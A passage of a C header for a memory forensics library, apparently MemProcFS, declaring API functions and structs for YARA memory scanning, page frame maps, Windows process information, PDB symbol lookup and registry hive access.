VMMYARA_SCAN_MEMORY_CALLBACK_DEFINED\n\n/*\n* Callback function to be called by VmmYara_RulesScanMemory() upon a match.\n* -- pvContext = user context set in call to VmmYara_ScanMemory().\n* -- pRuleMatch = pointer to match information.\n* -- pbBuffer = the memory buffer that was scanned.\n* -- cbBuffer = the size of the memory buffer that was scanned.\n* -- return = return TRUE to continue scanning, FALSE to stop scanning.\n*/\ntypedef BOOL(*VMMYARA_SCAN_MEMORY_CALLBACK)(\n    _In_ PVOID pvContext,\n    _In_ PVMMYARA_RULE_MATCH pRuleMatch,\n    _In_reads_bytes_(cbBuffer) PBYTE pbBuffer,\n    _In_ SIZE_T cbBuffer\n);\n\n#endif /* VMMYARA_SCAN_MEMORY_CALLBACK_DEFINED */\n// =========== END SHARED STRUCTS WITH <vmmdll.h/vmmyara.h> ===========\n\n#define VMMDLL_YARA_CONFIG_VERSION                  0xdec30001\n#define VMMDLL_YARA_MEMORY_CALLBACK_CONTEXT_VERSION 0xdec40002\n#define VMMDLL_YARA_CONFIG_MAX_RESULT               0x00010000      // max 65k results.\n\ntypedef struct tdVMMDLL_YARA_CONFIG *PVMMDLL_YARA_CONFIG;           // forward declaration.\n\n/*\n* Callback function to tell whether a section of memory should be scanned or not.\n* -- ctx = pointer to PVMMDLL_YARA_CONFIG context.\n* -- pePte = pointer to PTE entry if the memory region is backed by PTE map. Otherwise NULL.\n* -- peVad = pointer to VAD entry if the memory region is backed by VAD map. Otherwise NULL.\n* -- return = return TRUE to scan the memory region, FALSE to skip it.\n*/\ntypedef BOOL(*VMMYARA_SCAN_FILTER_CALLBACK)(\n    _In_ PVMMDLL_YARA_CONFIG ctx,\n    _In_opt_ PVMMDLL_MAP_PTEENTRY pePte,\n    _In_opt_ PVMMDLL_MAP_VADENTRY peVad\n);\n\n/*\n* Yara search configuration struct.\n*/\ntypedef struct tdVMMDLL_YARA_CONFIG {\n    DWORD dwVersion;            // VMMDLL_YARA_CONFIG_VERSION\n    DWORD _Filler[2];\n    BOOL fAbortRequested;       // may be set by caller to abort processing prematurely.\n    DWORD cMaxResult;           // # max result entries. max 0x10000 entries. 0 = max entries.\n    DWORD cRules;               // number of rules to use - if compiled rules only 1 is allowed.\n    LPSTR *pszRules;            // array of rules to use - either filenames or in-memory rules.\n    QWORD vaMin;\n    QWORD vaMax;\n    QWORD vaCurrent;            // current address (may be read by caller).\n    DWORD _Filler2;\n    DWORD cResult;              // number of search hits.\n    QWORD cbReadTotal;          // total number of bytes read.\n    PVOID pvUserPtrOpt;         // optional pointer set by caller (used for context passing to callbacks)\n    // match callback function (recommended but optional).\n    // return = continue search(TRUE), abort search(FALSE).\n    VMMYARA_SCAN_MEMORY_CALLBACK pfnScanMemoryCB;\n    // non-recommended features:\n    QWORD ReadFlags;            // read flags as in VMMDLL_FLAG_*\n    BOOL fForcePTE;             // force PTE method for virtual address reads.\n    BOOL fForceVAD;             // force VAD method for virtual address reads.\n    // optional filter callback function for virtual address reads:\n    // for ranges inbetween vaMin:vaMax callback with pte or vad entry.\n    // return: read from range(TRUE), do not read from range(FALSE).\n    VMMYARA_SCAN_FILTER_CALLBACK pfnFilterOptCB;\n    PVOID pvUserPtrOpt2;        // optional pointer set by caller (not used by MemProcFS).\n    QWORD _Reserved;\n} VMMDLL_YARA_CONFIG, *PVMMDLL_YARA_CONFIG;\n\n/*\n* Yara search callback struct which created by MemProcFS internally and is\n* passed to the callback function supplied by the caller in VMMDLL_YaraSearch().\n*/\ntypedef struct tdVMMDLL_YARA_MEMORY_CALLBACK_CONTEXT {\n    DWORD dwVersion;\n    DWORD dwPID;\n    PVOID pUserContext;\n    QWORD vaObject;\n    QWORD va;\n    PBYTE pb;\n    DWORD cb;\n    LPSTR uszTag[1];    // min 1 char (but may be more).\n} VMMDLL_YARA_MEMORY_CALLBACK_CONTEXT, *PVMMDLL_YARA_MEMORY_CALLBACK_CONTEXT;\n\n/*\n* Perform a yara search in the address space of a process.\n* NB! it may take a long time for this function to return.\n* -- hVMM\n* -- dwPID - PID of target process, (DWORD)-1 to read physical memory.\n* -- pYaraConfig\n* -- ppva = pointer to receive addresses found. Free'd with VMMDLL_MemFree().\n* -- pcva = pointer to receive number of addresses in ppva. not bytes!\n* -- return\n*/\nEXPORTED_FUNCTION _Success_(return)\nBOOL VMMDLL_YaraSearch(\n    _In_ VMM_HANDLE hVMM,\n    _In_ DWORD dwPID,\n    _In_ PVMMDLL_YARA_CONFIG pYaraConfig,\n    _Out_opt_ PQWORD *ppva,\n    _Out_opt_ PDWORD pcva\n);\n\n\n\n//-----------------------------------------------------------------------------\n// WINDOWS SPECIFIC PAGE FRAME NUMBER (PFN) FUNCTIONALITY BELOW\n//-----------------------------------------------------------------------------\n\n#define VMMDLL_MAP_PFN_VERSION              1\n\n#define VMMDLL_PFN_FLAG_NORMAL              0\n#define VMMDLL_PFN_FLAG_EXTENDED            1\n\nstatic LPCSTR VMMDLL_PFN_TYPE_TEXT[] = { \"Zero\", \"Free\", \"Standby\", \"Modifiy\", \"ModNoWr\", \"Bad\", \"Active\", \"Transit\" };\nstatic LPCSTR VMMDLL_PFN_TYPEEXTENDED_TEXT[] = { \"-\", \"Unused\", \"ProcPriv\", \"PageTable\", \"LargePage\", \"DriverLock\", \"Shareable\", \"File\" };\n\ntypedef enum tdVMMDLL_MAP_PFN_TYPE {\n    VmmDll_PfnTypeZero = 0,\n    VmmDll_PfnTypeFree = 1,\n    VmmDll_PfnTypeStandby = 2,\n    VmmDll_PfnTypeModified = 3,\n    VmmDll_PfnTypeModifiedNoWrite = 4,\n    VmmDll_PfnTypeBad = 5,\n    VmmDll_PfnTypeActive = 6,\n    VmmDll_PfnTypeTransition = 7\n} VMMDLL_MAP_PFN_TYPE;\n\ntypedef enum tdVMMDLL_MAP_PFN_TYPEEXTENDED {\n    VmmDll_PfnExType_Unknown = 0,\n    VmmDll_PfnExType_Unused = 1,\n    VmmDll_PfnExType_ProcessPrivate = 2,\n    VmmDll_PfnExType_PageTable = 3,\n    VmmDll_PfnExType_LargePage = 4,\n    VmmDll_PfnExType_DriverLocked = 5,\n    VmmDll_PfnExType_Shareable = 6,\n    VmmDll_PfnExType_File = 7,\n} VMMDLL_MAP_PFN_TYPEEXTENDED;\n\ntypedef struct tdVMMDLL_MAP_PFNENTRY {\n    DWORD dwPfn;\n    VMMDLL_MAP_PFN_TYPEEXTENDED tpExtended;\n    struct {        // Only valid if active non-prototype PFN\n        union {\n            DWORD dwPid;\n            DWORD dwPfnPte[5];  // PFN of paging levels 1-4 (x64)\n        };\n        QWORD va;               // valid if non-zero\n    } AddressInfo;\n    QWORD vaPte;\n    QWORD OriginalPte;\n    union {\n        DWORD _u3;\n        struct {\n            WORD ReferenceCount;\n            // MMPFNENTRY\n            BYTE PageLocation       : 3;    // Pos 0  - VMMDLL_MAP_PFN_TYPE\n            BYTE WriteInProgress    : 1;    // Pos 3\n            BYTE Modified           : 1;    // Pos 4\n            BYTE ReadInProgress     : 1;    // Pos 5\n            BYTE CacheAttribute     : 2;    // Pos 6\n            BYTE Priority           : 3;    // Pos 0\n            BYTE Rom_OnProtectedStandby : 1;// Pos 3\n            BYTE InPageError        : 1;    // Pos 4\n            BYTE KernelStack_SystemChargedPage : 1; // Pos 5\n            BYTE RemovalRequested   : 1;    // Pos 6\n            BYTE ParityError        : 1;    // Pos 7\n        };\n    };\n    union {\n        QWORD _u4;\n        struct {\n            DWORD PteFrame;\n            DWORD PteFrameHigh      : 4;    // Pos 32\n            DWORD _Reserved         : 21;   // Pos 36\n            DWORD PrototypePte      : 1;    // Pos 57\n            DWORD PageColor         : 6;    // Pos 58\n        };\n    };\n    DWORD _FutureUse[6];\n} VMMDLL_MAP_PFNENTRY, *PVMMDLL_MAP_PFNENTRY;\n\ntypedef struct tdVMMDLL_MAP_PFN {\n    DWORD dwVersion;\n    DWORD _Reserved1[5];\n    DWORD cMap;                     // # map entries.\n    VMMDLL_MAP_PFNENTRY pMap[];     // map entries.\n} VMMDLL_MAP_PFN, *PVMMDLL_MAP_PFN;\n\n/*\n* Retrieve information about scattered PFNs. The PFNs are returned in order of\n* in which they are stored in the pPfns set.\n* -- hVMM\n* -- pPfns\n* -- cPfns\n* -- pPfnMap = buffer of minimum byte length *pcbPfnMap or NULL.\n* -- pcbPfnMap = pointer to byte count of pPhysMemMap buffer.\n* -- return = success/fail.\n*/\nEXPORTED_FUNCTION _Success_(return)\nBOOL VMMDLL_Map_GetPfn(\n    _In_ VMM_HANDLE hVMM,\n    _In_reads_(cPfns) DWORD pPfns[],\n    _In_ DWORD cPfns,\n    _Out_writes_bytes_opt_(*pcbPfnMap) PVMMDLL_MAP_PFN pPfnMap,\n    _Inout_ PDWORD pcbPfnMap\n);\n\n/*\n* Retrieve PFN information:\n* CALLER FREE: VMMDLL_MemFree(*ppPfnMap)\n* -- hVMM\n* -- pPfns = PFNs to retrieve.\n* -- cPfns = number of PFNs to retrieve.\n* -- ppPfnMap =  ptr to receive result on success. must be free'd with VMMDLL_MemFree().\n* -- flags = optional flags as specified by VMMDLL_PFN_FLAG_*\n* -- return = success/fail.\n*/\nEXPORTED_FUNCTION _Success_(return)\nBOOL VMMDLL_Map_GetPfnEx(\n    _In_ VMM_HANDLE hVMM,\n    _In_reads_(cPfns) DWORD pPfns[],\n    _In_ DWORD cPfns,\n    _Out_ PVMMDLL_MAP_PFN *ppPfnMap,\n    _In_ DWORD flags\n);\n\n\n\n//-----------------------------------------------------------------------------\n// VMM PROCESS FUNCTIONALITY BELOW:\n// Functionality below is mostly relating to Windows processes.\n//-----------------------------------------------------------------------------\n\n/*\n* Retrieve an active process given it's name. Please note that if multiple\n* processes with the same name exists only one will be returned. If required to\n* parse all processes with the same name please iterate over the PID list by\n* calling VMMDLL_PidList together with VMMDLL_ProcessGetInformation.\n* -- hVMM\n* -- szProcName = process name case insensitive.\n* -- pdwPID = pointer that will receive PID on success.\n* -- return\n*/\nEXPORTED_FUNCTION _Success_(return)\nBOOL VMMDLL_PidGetFromName(_In_ VMM_HANDLE hVMM, _In_ LPCSTR szProcName, _Out_ PDWORD pdwPID);\n\n/*\n* List the PIDs in the system.\n* -- hVMM\n* -- pPIDs = DWORD array of at least number of PIDs in system, or NULL.\n* -- pcPIDs = size of (in number of DWORDs) pPIDs array on entry, number of PIDs in system on exit.\n* -- return = success/fail.\n*/\nEXPORTED_FUNCTION _Success_(return)\nBOOL VMMDLL_PidList(_In_ VMM_HANDLE hVMM, _Out_writes_opt_(*pcPIDs) PDWORD pPIDs, _Inout_ PSIZE_T pcPIDs);\n\n#define VMMDLL_PROCESS_INFORMATION_MAGIC        0xc0ffee663df9301e\n#define VMMDLL_PROCESS_INFORMATION_VERSION      7\n\ntypedef enum tdVMMDLL_PROCESS_INTEGRITY_LEVEL {\n    VMMDLL_PROCESS_INTEGRITY_LEVEL_UNKNOWN      = 0,\n    VMMDLL_PROCESS_INTEGRITY_LEVEL_UNTRUSTED    = 1,\n    VMMDLL_PROCESS_INTEGRITY_LEVEL_LOW          = 2,\n    VMMDLL_PROCESS_INTEGRITY_LEVEL_MEDIUM       = 3,\n    VMMDLL_PROCESS_INTEGRITY_LEVEL_MEDIUMPLUS   = 4,\n    VMMDLL_PROCESS_INTEGRITY_LEVEL_HIGH         = 5,\n    VMMDLL_PROCESS_INTEGRITY_LEVEL_SYSTEM       = 6,\n    VMMDLL_PROCESS_INTEGRITY_LEVEL_PROTECTED    = 7,\n} VMMDLL_PROCESS_INTEGRITY_LEVEL;\n\ntypedef struct tdVMMDLL_PROCESS_INFORMATION {\n    ULONG64 magic;\n    WORD wVersion;\n    WORD wSize;\n    VMMDLL_MEMORYMODEL_TP tpMemoryModel;    // as given by VMMDLL_MEMORYMODEL_* enum\n    VMMDLL_SYSTEM_TP tpSystem;              // as given by VMMDLL_SYSTEM_* enum\n    BOOL fUserOnly;                         // only user mode pages listed\n    DWORD dwPID;\n    DWORD dwPPID;\n    DWORD dwState;\n    CHAR szName[16];\n    CHAR szNameLong[64];\n    ULONG64 paDTB;\n    ULONG64 paDTB_UserOpt;                  // may not exist\n    struct {\n        ULONG64 vaEPROCESS;\n        ULONG64 vaPEB;\n        ULONG64 _Reserved1;\n        BOOL fWow64;\n        DWORD vaPEB32;                  // WoW64 only\n        DWORD dwSessionId;\n        ULONG64 qwLUID;\n        CHAR szSID[MAX_PATH];\n        VMMDLL_PROCESS_INTEGRITY_LEVEL IntegrityLevel;\n    } win;\n} VMMDLL_PROCESS_INFORMATION, *PVMMDLL_PROCESS_INFORMATION;\n\n/*\n* Retrieve various process information from a PID. Process information such as\n* name, page directory bases and the process state may be retrieved.\n* -- hVMM\n* -- dwPID\n* -- pProcessInformation = if null, size is given in *pcbProcessInfo\n* -- pcbProcessInformation = size of pProcessInfo (in bytes) on entry and exit\n* -- return = success/fail.\n*/\nEXPORTED_FUNCTION _Success_(return)\nBOOL VMMDLL_ProcessGetInformation(\n    _In_ VMM_HANDLE hVMM,\n    _In_ DWORD dwPID,\n    _Inout_opt_ PVMMDLL_PROCESS_INFORMATION pProcessInformation,\n    _In_ PSIZE_T pcbProcessInformation\n);\n\n/*\n* Retrieve various information from all processes (including terminated).\n* CALLER FREE : VMMDLL_MemFree(*ppProcessInformationAll)\n* -- hVMM\n* -- ptr to receive result array of pcProcessInformation items on success.\n*    Must be free'd with VMMDLL_MemFree().\n* -- ptr to DWORD to receive number of items processes on success.\n* -- return = success/fail.\n*/\nEXPORTED_FUNCTION _Success_(return)\nBOOL VMMDLL_ProcessGetInformationAll(\n    _In_ VMM_HANDLE hVMM,\n    _Out_ PVMMDLL_PROCESS_INFORMATION *ppProcessInformationAll,\n    _Out_ PDWORD pcProcessInformation\n);\n\n#define VMMDLL_PROCESS_INFORMATION_OPT_STRING_PATH_KERNEL           1\n#define VMMDLL_PROCESS_INFORMATION_OPT_STRING_PATH_USER_IMAGE       2\n#define VMMDLL_PROCESS_INFORMATION_OPT_STRING_CMDLINE               3\n\n/*\n* Retrieve a string value belonging to a process. The function allocates a new\n* string buffer and returns the requested string in it. The string is always\n* NULL terminated. On failure NULL is returned.\n* NB! CALLER IS RESPONSIBLE FOR VMMDLL_MemFree return value!\n* CALLER FREE: VMMDLL_MemFree(return)\n* -- hVMM\n* -- dwPID\n* -- fOptionString = string value to retrieve as given by VMMDLL_PROCESS_INFORMATION_OPT_STRING_*\n* -- return - fail: NULL, success: the string - NB! must be VMMDLL_MemFree'd by caller!\n*/\nEXPORTED_FUNCTION _Success_(return != NULL)\nLPSTR VMMDLL_ProcessGetInformationString(_In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, _In_ DWORD fOptionString);\n\n/*\n* Retrieve information about: Data Directories, Sections, Export Address Table\n* and Import Address Table (IAT).\n* If the pData == NULL upon entry the number of entries of the pData array must\n* have in order to be able to hold the data is returned.\n* -- hVMM\n* -- dwPID\n* -- [uw]szModule\n* -- pData\n* -- cData\n* -- pcData\n* -- return = success/fail.\n*/\nEXPORTED_FUNCTION\n_Success_(return) BOOL VMMDLL_ProcessGetDirectoriesU(_In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, _In_ LPCSTR  uszModule, _Out_writes_(16) PIMAGE_DATA_DIRECTORY pDataDirectories);\n_Success_(return) BOOL VMMDLL_ProcessGetDirectoriesW(_In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, _In_ LPCWSTR wszModule, _Out_writes_(16) PIMAGE_DATA_DIRECTORY pDataDirectories);\nEXPORTED_FUNCTION\n_Success_(return) BOOL VMMDLL_ProcessGetSectionsU(_In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, _In_ LPCSTR  uszModule, _Out_writes_opt_(cSections) PIMAGE_SECTION_HEADER pSections, _In_ DWORD cSections, _Out_ PDWORD pcSections);\n_Success_(return) BOOL VMMDLL_ProcessGetSectionsW(_In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, _In_ LPCWSTR wszModule, _Out_writes_opt_(cSections) PIMAGE_SECTION_HEADER pSections, _In_ DWORD cSections, _Out_ PDWORD pcSections);\n\n/*\n* Retrieve the virtual address of a given function inside a process/module.\n* -- hVMM\n* -- dwPID\n* -- [uw]szModuleName\n* -- szFunctionName\n* -- return = virtual address of function, zero on fail.\n*/\nEXPORTED_FUNCTION\n_Success_(return != 0) ULONG64 VMMDLL_ProcessGetProcAddressU(_In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, _In_ LPCSTR  uszModuleName, _In_ LPCSTR szFunctionName);\n_Success_(return != 0) ULONG64 VMMDLL_ProcessGetProcAddressW(_In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, _In_ LPCWSTR wszModuleName, _In_ LPCSTR szFunctionName);\n\n/*\n* Retrieve the base address of a given module.\n* -- hVMM\n* -- dwPID\n* -- [uw]szModuleName\n* -- return = virtual address of module base, zero on fail.\n*/\nEXPORTED_FUNCTION\n_Success_(return != 0) ULONG64 VMMDLL_ProcessGetModuleBaseU(_In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, _In_ LPCSTR  uszModuleName);\n_Success_(return != 0) ULONG64 VMMDLL_ProcessGetModuleBaseW(_In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, _In_ LPCWSTR wszModuleName);\n\n\n\n//-----------------------------------------------------------------------------\n// WINDOWS SPECIFIC DEBUGGING / SYMBOL FUNCTIONALITY BELOW:\n//-----------------------------------------------------------------------------\n\n/*\n* Load a .pdb symbol file and return its associated module name upon success.\n* -- hVMM\n* -- dwPID\n* -- vaModuleBase\n* -- szModuleName = buffer to receive module name upon success.\n* -- return\n*/\nEXPORTED_FUNCTION _Success_(return)\nBOOL VMMDLL_PdbLoad(\n    _In_ VMM_HANDLE hVMM,\n    _In_ DWORD dwPID,\n    _In_ ULONG64 vaModuleBase,\n    _Out_writes_(MAX_PATH) LPSTR szModuleName\n);\n\n/*\n* Retrieve a symbol virtual address given a module name and a symbol name.\n* NB! not all modules may exist - initially only module \"nt\" is available.\n* NB! if multiple modules have the same name the 1st to be added will be used.\n* -- hVMM\n* -- szModule\n* -- cbSymbolAddressOrOffset = symbol virtual address or symbol offset.\n* -- szSymbolName = buffer to receive symbol name upon success.\n* -- pdwSymbolDisplacement = displacement from the beginning of the symbol.\n* -- return\n*/\nEXPORTED_FUNCTION _Success_(return)\nBOOL VMMDLL_PdbSymbolName(\n    _In_ VMM_HANDLE hVMM,\n    _In_ LPCSTR szModule,\n    _In_ QWORD cbSymbolAddressOrOffset,\n    _Out_writes_(MAX_PATH) LPSTR szSymbolName,\n    _Out_opt_ PDWORD pdwSymbolDisplacement\n);\n\n/*\n* Retrieve a symbol virtual address given a module name and a symbol name.\n* NB! not all modules may exist - initially only module \"nt\" is available.\n* NB! if multiple modules have the same name the 1st to be added will be used.\n* -- hVMM\n* -- szModule\n* -- szSymbolName\n* -- pvaSymbolAddress\n* -- return\n*/\nEXPORTED_FUNCTION _Success_(return)\nBOOL VMMDLL_PdbSymbolAddress(\n    _In_ VMM_HANDLE hVMM,\n    _In_ LPCSTR szModule,\n    _In_ LPCSTR szSymbolName,\n    _Out_ PULONG64 pvaSymbolAddress\n);\n\n/*\n* Retrieve a type size given a module name and a type name.\n* NB! not all modules may exist - initially only module \"nt\" is available.\n* NB! if multiple modules have the same name the 1st to be added will be used.\n* -- hVMM\n* -- szModule\n* -- szTypeName\n* -- pcbTypeSize\n* -- return\n*/\nEXPORTED_FUNCTION _Success_(return)\nBOOL VMMDLL_PdbTypeSize(\n    _In_ VMM_HANDLE hVMM,\n    _In_ LPCSTR szModule,\n    _In_ LPCSTR szTypeName,\n    _Out_ PDWORD pcbTypeSize\n);\n\n/*\n* Locate the offset of a type child - typically a sub-item inside a struct.\n* NB! not all modules may exist - initially only module \"nt\" is available.\n* NB! if multiple modules have the same name the 1st to be added will be used.\n* -- hVMM\n* -- szModule\n* -- uszTypeName\n* -- uszTypeChildName\n* -- pcbTypeChildOffset\n* -- return\n*/\nEXPORTED_FUNCTION _Success_(return)\nBOOL VMMDLL_PdbTypeChildOffset(\n    _In_ VMM_HANDLE hVMM,\n    _In_ LPCSTR szModule,\n    _In_ LPCSTR uszTypeName,\n    _In_ LPCSTR uszTypeChildName,\n    _Out_ PDWORD pcbTypeChildOffset\n);\n\n\n\n//-----------------------------------------------------------------------------\n// WINDOWS SPECIFIC REGISTRY FUNCTIONALITY BELOW:\n//-----------------------------------------------------------------------------\n\n#define VMMDLL_REGISTRY_HIVE_INFORMATION_MAGIC      0xc0ffee653df8d01e\n#define VMMDLL_REGISTRY_HIVE_INFORMATION_VERSION    4\n\ntypedef struct td_VMMDLL_REGISTRY_HIVE_INFORMATION {\n    ULONG64 magic;\n    WORD wVersion;\n    WORD wSize;\n    BYTE _FutureReserved1[0x34];\n    ULONG64 vaCMHIVE;\n    ULONG64 vaHBASE_BLOCK;\n    DWORD cbLength;\n    CHAR uszName[128];\n    CHAR uszNameShort[32 + 1];\n    CHAR uszHiveRootPath[MAX_PATH];\n    QWORD _FutureReserved[0x10];\n} VMMDLL_REGISTRY_HIVE_INFORMATION, *PVMMDLL_REGISTRY_HIVE_INFORMATION;\n\n/*\n* Retrieve information about the registry hives in the target system.\n* -- pHives = buffer of cHives * sizeof(VMMDLL_REGISTRY_HIVE_INFORMATION) to\n              receive info about all hives. NULL to receive # hives in pcHives.\n* -- cHives\n* -- pcHives = if pHives == NULL: # total hives. if pHives: # read hives.\n* -- return\n*/\nEXPORTED_FUNCTION _Success_(return)\nBOOL VMMDLL_WinReg_HiveList(\n    _In_ VMM_HANDLE hVMM,\n    _Out_writes_(cHives) PVMMDLL_REGISTRY_HIVE_INFORMATION pHives,\n    _In_ DWORD cHives,\n    _Out_ PDWORD pcHives\n);\n\n/*\n* Read a contigious arbitrary amount of registry hive memory and report the\n* number of bytes read in pcbRead.\n* NB! Address space does not include regf registry hive file header!\n* -- hVMM\n* -- vaCMHive\n* -- ra\n* -- pb\n* -- cb\n* -- pcbReadOpt\n* -- flags = flags as in VMMDLL_FLAG_*\n* -- return = success/fail. NB! reads may report as success even if 0 bytes are\n*        read - it's recommended to verify pcbReadOpt parameter.\n*/\nEXPORTED_FUNCTION _Success_(return)\nBOOL VMMDLL_WinReg_HiveReadEx(\n    _In_ VMM_HANDLE hVMM,\n    _In_ ULONG64 vaCMHive,\n    _In_ DWORD ra,\n    _Out_ PBYTE pb,\n    _In_ DWORD cb,\n    _Out_opt_ PDWORD pcbReadOpt,\n    _In_ ULONG64 flags\n);\n\n/*\n* Write a virtually contigious arbitrary amount of memory to a registry hive.\n* NB! Address space does not include regf registry hive file header!\n* -- hVMM\n* -- vaCMHive\n* -- ra\n* -- pb\n* -- cb\n* -- return = TRUE on success, FALSE on partial or zero write.\n*/\nEXPORTED_FUNCTION _Success_(return)\nBOOL VMMDLL_WinReg_HiveWrite(\n    _In_ VMM_HANDLE hVMM,\n    _In_ ULONG64 vaCMHive,\n    _In_ DWORD ra,\n    _In_ PBYTE pb,\n    _In_ DWORD cb\n);\n\n/*\n* Enumerate registry sub keys - similar to WINAPI function 'RegEnumKeyExW.'\n* Please consult WINAPI function documentation for information.\n* May be called with HKLM base or virtual address of CMHIVE base examples:\n*   1) 'HKLM\\SOFTWARE\\Key\\SubKey'\n*   2) 'HKLM\\ORPHAN\\SAM\\Key\\SubKey'              (orphan key)\n*   3) '0x<vaCMHIVE>\\ROOT\\Key\\SubKey'\n*   4) '0x<vaCMHIVE>\\ORPHAN\\Key\\SubKey'          (orphan key)\n* -- hVMM\n* -- uszFullPathKey\n* -- dwIndex = sub-key index 0..N (-1 for key).\n* -- lpName\n* -- lpcchName\n* -- lpftLastWriteTime\n* -- return\n*/\nEXPORTED_FUNCTION _Success_(return)\nBOOL VMMDLL_WinReg_EnumKeyExU(\n    _In_ VMM_HANDLE hVMM,\n    _In_ LPCSTR uszFullPathKey,\n    _In_ DWORD dwIndex,\n    _Out_writes_opt_(*lpcchName) LPSTR lpName,\n    _Inout_ LPDWORD lpcchName,\n    _Out_opt_ PFILETIME lpftLastWriteTime\n);\n\n/*\n* Enumerate registry values given a registry key - similar to WINAPI function\n* 'EnumValueW'. Please consult WINAPI function documentation for information.\n* May be called in two ways:\n* May be called with HKLM base or virtual address of CMHIVE base examples:\n*   1) 'HKLM\\SOFTWARE\\Key\\SubKey'\n*   2) 'HKLM\\ORPHAN\\SAM\\Key\\SubKey'              (orphan key)\n*   3) '0x<vaCMHIVE>\\ROOT\\Key\\SubKey'\n*   4) '0x<vaCMHIVE>\\ORPHAN\\Key\\SubKey'          (orphan key)\n* -- hVMM\n* -- uszFullPathKey\n* -- dwIndex\n* -- lpValueName\n* -- lpcchValueName\n* -- lpType\n* -- lpData\n* -- lpcbData\n* -- return\n*/\nEXPORTED_FUNCTION _Success_(return)\nBOOL VMMDLL_WinReg_EnumValueU(\n    _In_ VMM_HANDLE hVMM,\n    _In_ LPCSTR uszFullPathKey,\n    _In_ DWORD dwIndex,\n    _Out_writes_opt_(*lpcchValueName) LPSTR lpValueName,\n    _Inout_ LPDWORD lpcchValueName,\n    _Out_opt_ LPDWORD lpType,\n    _Out_writes_opt_(*lpcbData) LPBYTE lpData,\n    _Inout_opt_ LPDWORD lpcbData\n);\n\n/*\n* Query a registry value given a registry key/value path - similar to WINAPI\n* function 'RegQueryValueEx'.\n* Please consult WINAPI function documentation for information.\n* May be called with HKLM base or virtual address of CMHIVE base examples:\n*   1) 'HKLM\\SOFTWARE\\Key\\SubKey\\Value'\n*   2) 'HKLM\\ORPHAN\\SAM\\Key\\SubKey\\'             (orphan key and default value)\n*   3) '0x<vaCMHIVE>\\ROOT\\Key\\SubKey\\Value'\n*   4) '0x<vaCMHIVE>\\ORPHAN\\Key\\SubKey\\Value'    (orphan key value)\n* -- hVMM\n* -- uszFullPathKeyValue\n* -- lpType\n* -- lpData\n* -- lpcbData\n* -- return\n*/\nEXPORTED_FUNCTION _Success_(return)\nBOOL VMMDLL_WinReg_QueryValueExU(\n    _In_ VMM_HANDLE hVMM,\n    _In_ LPCSTR uszFullPathKeyValue,\n    _Out_opt_ LPDWORD lpType,\n    _Out_writes_opt_(*lpcbData) LPBYTE lpData,\n    _When_(lpData == NULL, _Out_opt_) _When_(lpData != NULL, _Inout_opt_) LPDWORD lpcbData\n);\n\n/*\n* Enumerate registry sub keys - similar to WINAPI function 'RegEnumKeyExW.'\n* Please consult WINAPI function documentation for information.\n* May be called with HKLM base or virtual address of CMHIVE base examples:\n*   1) 'HKLM\\SOFTWARE\\Key\\SubKey'\n*   2) 'HKLM\\ORPHAN\\SAM\\Key\\SubKey'              (orphan key)\n*   3) '0x<vaCMHIVE>\\ROOT\\Key\\SubKey'\n*   4) '0x<vaCMHIVE>\\ORPHAN\\Key\\SubKey'          (orphan key)\n* -- hVMM\n* -- wszFullPathKey\n* -- dwIndex = sub-key index 0..N (-1 for key).\n* -- lpName\n* -- lpcchName\n* -- lpftLastWriteTime\n* -- return\n*/\n_Success_(return)\nBOOL VMMDLL_WinReg_EnumKeyExW(\n    _In_ VMM_HANDLE hVMM,\n    _In_ LPCWSTR wszFullPathKey,\n    _In_ DWORD dwIndex,\n    _Out_writes_opt_(*lpcchName) LPWSTR lpName,\n    _Inout_ LPDWORD lpcchName,\n    _Out_opt_ PFILETIME lpftLastWriteTime\n);\n\n/*\n* Enumerate registry values given a registry key - similar to WINAPI function\n* 'EnumValueW'. Please consult WINAPI function documentation for information.\n* May be called in two ways:\n* May be called with HKLM base or virtual address of CMHIVE base examples:\n*   1) 'HKLM\\SOFTWARE\\Key\\SubKey'\n*   2) 'HKLM\\ORPHAN\\SAM\\Key\\SubKey'              (orphan key)\n*   3) '0x<vaCMHIVE>\\ROOT\\Key\\SubKey'\n*   4) '0x<vaCMHIVE>\\ORPHAN\\Key\\SubKey'          (orphan key)\n* -- hVMM\n* -- wszFullPathKey\n* -- dwIndex\n* -- lpValueName\n* -- lpcchValueName\n* -- lpType\n* -- lpData\n* -- lpcbData\n* -- return\n*/\n_Success_(return)\nBOOL VMMDLL_WinReg_EnumValueW(\n    _In_ VMM_HANDLE hVMM,\n    _In_ LPCWSTR wszFullPathKey,\n    _In_ DWORD dwIndex,\n    _Out_writes_opt_(*lpcchValueName) LPWSTR lpValueName,\n    _Inout_ LPDWORD lpcchValueName,\n    _Out_opt_ LPDWORD lpType,\n    _Out_writes_opt_(*lpcbData) LPBYTE lpData,\n    _Inout_opt_ LPDWORD lpcbData\n);\n\n/*\n* Query a registry value given a registry key/value path - similar to WINAPI\n* function 'RegQueryValueEx'.\n* Please consult WINAPI function documentation for information.\n* May be called with HKLM base or virtual address of CMHIVE base examples:\n*   1) 'HKLM\\SOFTWARE\\Key\\SubKey\\Value'\n*   2) 'HKLM\\ORPHAN\\SAM\\Key\\SubKey\\'             (orphan key and default value)\n*   3) '0x<vaCMHIVE>\\ROOT\\Key\\SubKey\\Value'\n*   4) '0x<vaCMHIVE>\\ORPHAN\\Key\\SubKey\\Value'    (orphan key value)\n* -- hVMM\n* -- wszFullPathKeyValue\n* -- lpType\n* -- lpData\n* -- lpcbData\n* -- return\n*/\n_Success_(return)\nBOOL VMMDLL_WinReg_QueryValueExW(\n    _In_ VMM_HANDLE hVMM,\n    _In_ LPCWSTR wszFullPathKeyValue,\n    _Out_opt_ LPDWORD lpType,\n    _Out_writes_opt_(*lpcbData) LPBYTE lpData,\n    _When_(lpData == NULL, _Out_opt_) _When_(lpData != NULL, _Inout_opt_) LPDWORD lpcbData\n);\n\n\n\n//-----------------------------------------------------------------------------\n// WINDOWS SPECIFIC UTILITY FUNCTIONS BELOW:\n//-----------------------------------------------------------------------------\n\ntypedef struct tdVMMDLL_WIN_THUNKINFO_IAT {\n    BOOL fValid;\n    BOOL f32;               // if 